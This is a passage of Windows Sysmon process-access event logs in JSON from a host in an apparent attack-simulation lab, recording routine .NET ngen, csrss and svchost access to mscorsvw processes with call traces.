\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:09.885","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42C1-5F2D-0000-001047820D00}","TargetProcessId":"4428","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7430,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:09.885\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42C1-5F2D-0000-001047820D00}\r\nTargetProcessId: 4428\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:09.885","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42C1-5F2D-0000-001047820D00}","TargetProcessId":"4428","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7431,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:09.903\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42C1-5F2D-0000-001047820D00}\r\nTargetProcessId: 4428\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:09.903","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42C1-5F2D-0000-001047820D00}","TargetProcessId":"4428","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7432,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:09.994\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B5-5F2D-0000-00100D810C00}\r\nTargetProcessId: 2444\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:09.994","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B5-5F2D-0000-00100D810C00}","TargetProcessId":"2444","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7433,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:09.994\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B5-5F2D-0000-00100D810C00}\r\nTargetProcessId: 2444\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:09.994","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B5-5F2D-0000-00100D810C00}","TargetProcessId":"2444","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7434,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:10.026\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42C2-5F2D-0000-001028860D00}\r\nTargetProcessId: 2444\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:10.026","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42C2-5F2D-0000-001028860D00}","TargetProcessId":"2444","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7435,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:10.307\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42C2-5F2D-0000-00107A8A0D00}\r\nTargetProcessId: 3728\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:10.307","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42C2-5F2D-0000-00107A8A0D00}","TargetProcessId":"3728","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7436,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:10.307\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42C2-5F2D-0000-00107A8A0D00}\r\nTargetProcessId: 3728\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:10.307","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42C2-5F2D-0000-00107A8A0D00}","TargetProcessId":"3728","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7437,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:10.322\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42C2-5F2D-0000-00107A8A0D00}\r\nTargetProcessId: 3728\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 